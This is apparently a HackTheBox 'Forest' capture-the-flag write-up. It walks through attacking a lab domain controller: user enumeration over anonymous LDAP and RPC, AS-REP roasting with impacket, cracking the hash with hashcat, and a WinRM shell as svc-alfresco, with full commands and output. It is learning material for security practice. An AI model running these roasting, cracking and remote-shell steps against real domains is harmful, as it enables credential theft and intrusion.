CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Forest

windows active-directory asreproasting bloodhound dcsync impacket

Forest is a Windows-based machine authored by egre55 and mrb3n, with an average rating of 4.6 stars.

// Lessons Learned

  1. Bloodhound’s pre-built analytics queries are a great way to find exploitable misconfigurations - but knowing how to refine them for your current target is crucial
  2. Unauthenticated RPC can be a goldmine of useful user and group data

// Recon

nmap -A forest.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-22 07:57 AEST
Nmap scan report for forest.htb (10.10.10.161)
Host is up (0.059s latency).
Not shown: 989 closed tcp ports (conn-refused)
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-02-21 22:06:34Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

Host script results:
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time:
|   date: 2022-02-21T22:06:41
|_  start_date: 2022-02-20T22:01:04
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: 2h48m19s, deviation: 4h37m08s, median: 8m18s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2022-02-21T14:06:38-08:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.94 seconds

Nmap reveals this is likely a Windows 2016 Server, connected to the domain htb.local. Services running include:

The SMB-related output also indicates that message signing is required (which helps prevent MITM-style attacks) and that older implementations such as SMBv1 are not supported.

This is the first Active Directory-focused machine I’ve attempted on HackTheBox, so there is sure to be a lot of new content to cover. I’ve been trying to learn more about A.D security lately, and understand how it influences a network’s security posture. This passage from the exploit.ph security blog seems to sum up the situation well:

“AD is a highly complex database used to protect the rest of the infrastructure by providing methods to restrict access to rsources and segregate resources from each other. However, partly due to it’s complexity and partly due to backwards compatibility, it’s very common for insecure configurations to be in place on corporate networks. Due to this and the fact that it is usually used to provide access to huge sections of the infrastructure, it’s a high value target to attack.”

Starting with DNS, we can query the typical SRV (service location) records to verify the target is a domain controller for the htb.local domain already identified:

dig @forest.htb -t srv _ldap._tcp.dc._msdcs.htb.local

; <<>> DiG 9.10.6 <<>> @forest.htb -t srv _ldap._tcp.dc._msdcs.htb.local
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45805
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;_ldap._tcp.dc._msdcs.htb.local.	IN	SRV

;; ANSWER SECTION:
_ldap._tcp.dc._msdcs.htb.local.	600 IN	SRV	0 100 389 FOREST.htb.local.

;; ADDITIONAL SECTION:
FOREST.htb.local.	3600	IN	A	10.10.10.161

;; Query time: 44 msec
;; SERVER: 10.10.10.161#53(10.10.10.161)
;; WHEN: Tue Feb 22 09:34:07 AEST 2022
;; MSG SIZE  rcvd: 111

This confirms the target is the domain controller, but doesn’t give us anything new.

Turning to the SMB functionality, checking for both null sesssions and guest access turn up empty:

┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 10.10.10.161 -u '' -p ''
SMB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         10.10.10.161    445    FOREST           [-] htb.local\: STATUS_ACCESS_DENIED 
                                                                                                                                                                         
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 10.10.10.161 -u 'guest' -p ''
SMB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         10.10.10.161    445    FOREST           [-] htb.local\guest: STATUS_ACCOUNT_DISABLED

Looking at the LDAP services discovered, we can request the RootDSE (Root Directory Server Agent Service Entry) information, which is avaiable even without authentication. Nmap provides a script to make this easy, and we use LDAP on port 389 becase that’s where we can access the local domain info, rather than the global catalog on 3268:

nmap -p389 forest.htb --script ldap-rootdse
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-22 08:41 AEST
Nmap scan report for forest.htb (10.10.10.161)
Host is up (0.026s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       currentTime: 20220221224926.0Z
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=htb,DC=local
|       dsServiceName: CN=NTDS Settings,CN=FOREST,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=htb,DC=local
|       namingContexts: DC=htb,DC=local
|       namingContexts: CN=Configuration,DC=htb,DC=local
|       namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
|       namingContexts: DC=DomainDnsZones,DC=htb,DC=local
|       namingContexts: DC=ForestDnsZones,DC=htb,DC=local
|       defaultNamingContext: DC=htb,DC=local
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=htb,DC=local
|       configurationNamingContext: CN=Configuration,DC=htb,DC=local
|       rootDomainNamingContext: DC=htb,DC=local
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       ...
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       ...
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       highestCommittedUSN: 5626591
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       dnsHostName: FOREST.htb.local
|       ldapServiceName: htb.local:forest$@HTB.LOCAL
|       serverName: CN=FOREST,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=htb,DC=local
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       isSynchronized: TRUE
|       isGlobalCatalogReady: TRUE
|       domainFunctionality: 7
|       forestFunctionality: 7
|_      domainControllerFunctionality: 7
Service Info: Host: FOREST; OS: Windows

There’s lots of data here, but not much useful info beyond confirming there is only one domain, with both defaultNamingContext and rootDomainNamingContext returning the same value:

defaultNamingContext: DC=htb,DC=local
...
rootDomainNamingContext: DC=htb,DC=local

HackTricks outlines several techniques & tools for extracting useful information from ldap, both with and without authentication. For example, even without credentials, we can write a simple python script to retrieve all person objects, which should help us identify account names:

import ldap3
# establish connection
server = ldap3.Server('10.10.10.161', get_info=ldap3.ALL, port=389, use_ssl=False)
connection = ldap3.Connection(server)
connection.bind()

# search for person objects
connection.search(search_base='DC=htb,DC=local', search_filter='(&(objectClass=person))',
                  search_scope='SUBTREE', attributes='userPassword')

# output results
print(connection.entries)

Running this script against the target, we gain a lot of useful information:

...
DN: CN=Guest,CN=Users,DC=htb,DC=local - STATUS: Read - READ TIME: 2022-02-23T09:26:48.971611
...
DN: CN=DefaultAccount,CN=Users,DC=htb,DC=local - STATUS: Read - READ TIME: 2022-02-23T09:26:48.971681
...
DN: CN=Sebastien Caron,OU=Exchange Administrators,OU=Information Technology,OU=Employees,DC=htb,DC=local - STATUS: Read - READ TIME: 2022-02-23T09:26:48.972885
DN: CN=Lucinda Berger,OU=IT Management,OU=Information Technology,OU=Employees,DC=htb,DC=local - STATUS: Read - READ TIME: 2022-02-23T09:26:48.972929
DN: CN=Andy Hislip,OU=Helpdesk,OU=Information Technology,OU=Employees,DC=htb,DC=local - STATUS: Read - READ TIME: 2022-02-23T09:26:48.972973
DN: CN=Mark Brandt,OU=Sysadmins,OU=Information Technology,OU=Employees,DC=htb,DC=local - STATUS: Read - READ TIME: 2022-02-23T09:26:48.973013
DN: CN=Santi Rodriguez,OU=Developers,OU=Information Technology,OU=Employees,DC=htb,DC=local - STATUS: Read - READ TIME: 2022-02-23T09:26:48.973057

UPDATE - this, and many other types of search can be run much more easily using a tool like the python-based windapsearch, even without authentication:

└─$ ./windapsearch.py -d htb.local --dc-ip 10.10.10.161 -U  
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.10.10.161
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=htb,DC=local
[+] Attempting bind
[+]     ...success! Binded as: 
[+]      None

[+] Enumerating all AD users
[+]     Found 29 users: 

cn: Guest

cn: DefaultAccount

cn: Exchange Online-ApplicationAccount
userPrincipalName: Exchange_Online-ApplicationAccount@htb.local

cn: SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1}
userPrincipalName: SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1}@htb.local

...

cn: Sebastien Caron
userPrincipalName: sebastien@htb.local

cn: Lucinda Berger
userPrincipalName: lucinda@htb.local

cn: Andy Hislip
userPrincipalName: andy@htb.local

cn: Mark Brandt
userPrincipalName: mark@htb.local

cn: Santi Rodriguez
userPrincipalName: santi@htb.local

We now have a number of possible accounts we can attempt to gain access with, but we first need to figure out the username scheme being used. Common examples include firstname.lastname, firstinitialoffirstname.lastname etc. We can leverage a tool like impacket-GetNPUsers to validate whether we have guessed the right scheme, and at the same time check if any accounts are ASREProastable (don’t have pre-auth required) which could yield ticket granting tickets / TGTs that can be cracked offline. With the usernames added to a file users.txt in the format firstname.lastname, for example:

sebastien.caron
lucinda.berger
andy.hislip
mark.brandt
santi.rodriguez

the output from impacket-GetNPUsers indicates this isn’t the right scheme:

┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -usersfile users.txt -format hashcat
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

but if we adjust users.txt to try another approach, for example to test whether usernames are based on firstname only:

sebastien
lucinda
andy
mark
santi

the response indicates we have identified the right scheme:

┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -usersfile users.txt -format hashcat
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set

Unfortunately, it also indicates that none of the accounts have UF_DONT_REQUIRE_PREAUTH set, meaning we can’t retrieve any TGT hashes at this stage.. but knowing some valid usernames is a good start =)

Another tool in the impacket suite is impacket-GetADUsers, which attempts to scrape user information from Active Directory. This can be run against a single user with the -user flag, or in ‘all users’ mode with -all:

┌──(kali㉿kali)-[~]
└─$ impacket-GetADUsers htb.local/ -dc-ip 10.10.10.161 -all
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Querying 10.10.10.161 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
Administrator         Administrator@htb.local         2021-08-31 10:51:58.690463  2022-03-21 08:40:22.950583 
Guest                                                 <never>              <never>             
DefaultAccount                                        <never>              <never>             
krbtgt                                                2019-09-18 20:53:23.467452  <never>             
$331000-VK4ADACQNUCA                                  <never>              <never>             
SM_2c8eef0a09b545acb  SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1}@htb.local  <never>              <never>             
SM_ca8c2ed5bdab4dc9b  SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@htb.local  <never>              <never>             
SM_75a538d3025e4db9a  SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}@htb.local  <never>              <never>             
SM_681f53d4942840e18  DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}@htb.local  <never>              <never>             
SM_1b41c9286325456bb  Migration.8f3e7716-2011-43e4-96b1-aba62d229136@htb.local  <never>              <never>             
SM_9b69f1b9d2cc45549  FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@htb.local  <never>              <never>             
SM_7c96b981967141ebb  SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}@htb.local  <never>              <never>             
SM_c75ee099d0a64c91b  SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}@htb.local  <never>              <never>             
SM_1ffab36a2f5f479cb  SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}@htb.local  <never>              <never>             
HealthMailboxc3d7722  HealthMailboxc3d7722415ad41a5b19e3e00e165edbe@htb.local  2019-09-24 08:51:31.892097  2019-09-24 08:57:12.361516 
HealthMailboxfc9daad  HealthMailboxfc9daad117b84fe08b081886bd8a5a50@htb.local  2019-09-24 08:51:35.267114  2019-09-24 08:52:05.736012 
HealthMailboxc0a90c9  HealthMailboxc0a90c97d4994429b15003d6a518f3f5@htb.local  2019-09-19 21:56:35.206329  <never>             
HealthMailbox670628e  HealthMailbox670628ec4dd64321acfdf6e67db3a2d8@htb.local  2019-09-19 21:56:45.643993  <never>             
HealthMailbox968e74d  HealthMailbox968e74dd3edb414cb4018376e7dd95ba@htb.local  2019-09-19 21:56:56.143969  <never>             
HealthMailbox6ded678  HealthMailbox6ded67848a234577a1756e072081d01f@htb.local  2019-09-19 21:57:06.597012  <never>             
HealthMailbox83d6781  HealthMailbox83d6781be36b4bbf8893b03c2ee379ab@htb.local  2019-09-19 21:57:17.065809  <never>             
HealthMailboxfd87238  HealthMailboxfd87238e536e49e08738480d300e3772@htb.local  2019-09-19 21:57:27.487679  <never>             
HealthMailboxb01ac64  HealthMailboxb01ac647a64648d2a5fa21df27058a24@htb.local  2019-09-19 21:57:37.878559  <never>             
HealthMailbox7108a4e  HealthMailbox7108a4e350f84b32a7a90d8e718f78cf@htb.local  2019-09-19 21:57:48.253341  <never>             
HealthMailbox0659cc1  HealthMailbox0659cc188f4c4f9f978f6c2142c4181e@htb.local  2019-09-19 21:57:58.643994  <never>             
sebastien                                             2019-09-20 10:29:59.544725  2019-09-23 08:29:29.586227 
lucinda                                               2019-09-20 10:44:13.233891  <never>             
svc-alfresco                                          2022-03-21 09:08:33.115799  2019-09-23 21:09:47.931194 
andy                                                  2019-09-23 08:44:16.291082  <never>             
mark                                                  2019-09-21 08:57:30.243568  <never>             
santi                                                 2019-09-21 09:02:55.134828  <never>

UPDATE - this information can also be retrieved via rpcclient and the enumdomusers command, which in the case of this machine can be run without any authentication:

┌──(kali㉿kali)-[~]
└─$ rpcclient -U "" -N 10.10.10.161
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
...
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

While the output is very similar to that of our ldap search, there are some differences, most notably the presence of a svc-alfresco account. The naming convention here indiciates this account is likely being used to run a service, either way we can check it for pre-authentication by adding it to the end of our userslist and running the same impacket command as before:

┌──(kali㉿kali)-[~/HTB/forest]
└─$ impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -usersfile ./users.txt -format hashcat                         
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:07fababda77a8d54f4a20cc3adff52d5$3e9b4dff61084dd3d23b07e35412ddeea1fea5bf444ccaaf1a79b17cb09673afa27217ab04171134d29c8defd64174680f9cae72a739fad838acbdec8e1a969179a4c6a275b0e60b8bcda848214603d693b93add1a1213f3604e0e5972572dbdda166ff095fb84d72aaafbc8d866fe95d9b0f1357b4193c47a32fc996c2d3134465e40d3cb0563d3085e449ebd93a89cd1aca9f1e07a71f954cbbbfc0788cbfebe60887f6711cfba67d31874dd5fd69260c6424a91e3349f7f6d738b692537c532e176c7b6f228240f58963104a964d126bd2867e87b191a3b95b9c334ce86a84a263d6bc7f9

// Initial Foothold

We now have a TGT (Ticket Granting Ticket) hash for the svc-alfresco account, that we know has been encrypted using that account’s password. The output is hashcat-ready, so we can copy it into another text file and being a brute-force attack on it using hashcat with mode 18200 for AS-REP (Authentication Service Reply) hashes, and the ever-reliable rockyou.txt wordlist:

┌──(kali㉿kali)-[~/HTB/forest]
└─$ hashcat --force -m 18200 -a 0 svc-alfresco_hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.5) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 2.0 pocl 1.8  Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====================================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i9-8950HK CPU @ 2.90GHz, 1428/2921 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

...

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5asrep$23$svc-alfresco@HTB.LOCAL:558426a0886ef6d055cdcb74c87fd87f$b00f6c5015df6dd3e602c6c882d3cf4907d16bf704cac0721573e21e99539133d5fae4c4277eeb786c0e77ac6d17c7dc1de2d59289fabb91c28fe5e6e8354b5449c72260e76e15e40228e2f8cc42da28aa48ceb85303eff3fcafc7b05a8680eb3b728efdd4f0659593d3c7bbcc61e11673e190e5a79daacd193d3b4e1353180ab2556a54333fdf00f2694f43a2870700cb98b2ae23c4a70de64a8ef33c11137dc717d27274125130994d36ef7ce844c624e0f922d2ee0c8fc9f0b6062f51e7e6bf81d997681912067bd7a742ff5d060d441ab43b544b4a1887b12b01cecd59208d2ffba038ed:s3rvice
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc-alfresco@HTB.LOCAL:558426a0886ef6...a038ed
Time.Started.....: Mon Mar 21 09:29:25 2022, (3 secs)
Time.Estimated...: Mon Mar 21 09:29:28 2022, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1221.2 kH/s (0.51ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 4085760/14344385 (28.48%)
Rejected.........: 0/4085760 (0.00%)
Restore.Point....: 4084736/14344385 (28.48%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: s456822 -> s3r3ndipit
Hardware.Mon.#1..: Util: 55%

Started: Mon Mar 21 09:29:23 2022
Stopped: Mon Mar 21 09:29:30 2022

We now a password, s3rvice, to go with the svc-alfresco username. Let’s swap to crackmapexec and explore what this account might be used for, starting with smb shares:

┌──(kali㉿kali)-[~/HTB/forest]
└─$ crackmapexec smb 10.10.10.161 -u svc-alfresco -p s3rvice --shares                                        
SMB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         10.10.10.161    445    FOREST           [+] htb.local\svc-alfresco:s3rvice 
SMB         10.10.10.161    445    FOREST           [+] Enumerated shares
SMB         10.10.10.161    445    FOREST           Share           Permissions     Remark
SMB         10.10.10.161    445    FOREST           -----           -----------     ------
SMB         10.10.10.161    445    FOREST           ADMIN$                          Remote Admin
SMB         10.10.10.161    445    FOREST           C$                              Default share
SMB         10.10.10.161    445    FOREST           IPC$                            Remote IPC
SMB         10.10.10.161    445    FOREST           NETLOGON        READ            Logon server share 
SMB         10.10.10.161    445    FOREST           SYSVOL          READ            Logon server share

No additional access to be found there, what about command execution via winrm?

┌──(kali㉿kali)-[~/HTB/forest]
└─$ crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice         
SMB         10.10.10.161    5985   FOREST           [*] Windows 10.0 Build 14393 (name:FOREST) (domain:htb.local)
HTTP        10.10.10.161    5985   FOREST           [*] http://10.10.10.161:5985/wsman
WINRM       10.10.10.161    5985   FOREST           [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

The presence of (Pwn3d!) in the output indicates that this account can be used to execute commands via winrm, which is in effect a remote shell. There are various ways of interacting with the winrm service, evil-winrm provides a stable and terminal-like experience that also supports Powershell:

┌──(kali㉿kali)-[~/HTB/forest]
└─$ evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice             

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>

With a shell established, we can easily navigate to the usual directory and retrieve the user key:

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> cd ..\Desktop
type*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
617*****************************
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop>

// Privilege Escalation

Starting with manual enumeration (which can sometimes be the most fruitful) we can quickly learn a couple of things:

  1. the svc-alfresco account has no exploitable privileges:
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
  1. the account has membership in a number of groups, two of which stand out as possible vectors of privilege escalation - HTB\Privileged IT Accounts and HTB\Service Accounts:
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> whoami /all

USER INFORMATION
----------------

User Name        SID
================ =============================================
htb\svc-alfresco S-1-5-21-3072663084-364016917-1341370565-1147


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                           Attributes
========================================== ================ ============================================= ==================================================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Account Operators                  Alias            S-1-5-32-548                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
HTB\Privileged IT Accounts                 Group            S-1-5-21-3072663084-364016917-1341370565-1149 Mandatory group, Enabled by default, Enabled group
HTB\Service Accounts                       Group            S-1-5-21-3072663084-364016917-1341370565-1148 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192

Manually browsing the filesystem reveals there doesn’t seem to be much in the way of custom software installed on the machine, so now is probably a good time to swap to an automated checking tool such as PrivescCheck, imported through evil-winrm:

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Invoke-PrivescCheck -extended
+------+------------------------------------------------+------+
| TEST | USER > Identity                                | INFO |
+------+------------------------------------------------+------+
| DESC | Get the full name of the current user (domain +       |
|      | username) along with the associated Security          |
|      | Identifier (SID).                                     |
+------+-------------------------------------------------------+
[*] Found 1 result(s).


Name             : HTB\svc-alfresco
SID              : S-1-5-21-3072663084-364016917-1341370565-1147
IntegrityLevel   : Medium Mandatory Level (S-1-16-8192)
SessionId        : 0
TokenId          : 00000000-0089f79b
AuthenticationId : 00000000-0089f58a
OriginId         : 00000000-00000000
ModifiedId       : 00000000-0089f596
Source           : NtLmSsp (00000000-00000000)
...
+------+------------------------------------------------+------+
| TEST | MISC > Hijackable DLLs                         | INFO |
+------+------------------------------------------------+------+
| DESC | List Windows services that are prone to Ghost DLL     |
|      | hijacking. This is particularly relevant if the       |
|      | current user can create files in one of the SYSTEM    |
|      | %PATH% folders.                                       |
+------+-------------------------------------------------------+
[*] Found 1 result(s).


Name           : WptsExtensions.dll
Description    : Loaded by the Task Scheduler upon service startup
RunAs          : LocalSystem
RebootRequired : True
...
+------+------------------------------------------------+------+
| TEST | UPDATES > System up to date? (info)            | INFO |
+------+------------------------------------------------+------+
| DESC | Enumerate the installed updates and hotfixes by       |
|      | parsing the registry. If this fails, the check will   |
|      | fall back to the built-in 'Get-HotFix' cmdlet.        |
+------+-------------------------------------------------------+
[*] Found 5 result(s).

HotFixID  Description     InstalledBy         InstalledOn
--------  -----------     -----------         -----------
KB4103720 Update          NT AUTHORITY\SYSTEM 9/20/2019 2:48:57 PM
KB4512574 Security Update HTB\Administrator   9/18/2019 4:35:50 AM
KB3200970 Security Update NT AUTHORITY\SYSTEM 11/20/2016 6:00:04 PM
KB3199986 Update          NT AUTHORITY\SYSTEM 11/20/2016 5:53:36 PM
KB4516044 Security Update                     12/31/1600 4:00:00 PM

...
+------+------------------------------------------------+------+
| TEST | MISC > OS Version                              | INFO |
+------+------------------------------------------------+------+
| DESC | Print the detailed version number of the Operating    |
|      | System. If we can't get the update history, this      |
|      | might be useful.                                      |
+------+-------------------------------------------------------+
[*] Found 1 result(s).

Name                         Version
----                         -------
Windows Server 2016 Standard 10.0.14393 Version 1607 (14393.2273)
...

+------+------------------------------------------------+------+
| TEST | MISC > Machine Role                            | INFO |
+------+------------------------------------------------+------+
| DESC | Simply return the machine's role. It can be either    |
|      | 'Workstation', 'Server' or 'Domain Controller'.       |
+------+-------------------------------------------------------+
[*] Found 1 result(s).
...


Name     Role
----     ----
LanmanNT Domain Controller

Enumerating the identified Privileged IT Accounts and Service Accounts groups indicates that svc-alfresco is the only member:

└─$ ./windapsearch.py -d htb.local --dc-ip 10.10.10.161 -u svc-alfresco -p s3rvice -m 'Privileged IT Accounts'
[+] Using Domain Controller at: 10.10.10.161
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=htb,DC=local
[+] Attempting bind
[+]     ...success! Binded as: 
[+]      u:HTB\svc-alfresco
[+] Attempting to enumerate full DN for group: Privileged IT Accounts
[+]      Using DN: CN=Privileged IT Accounts,OU=Security Groups,DC=htb,DC=local

[+]      Found 1 members:

b'CN=Service Accounts,OU=Security Groups,DC=htb,DC=local'

[*] Bye!
                                                                                                                                                                                    
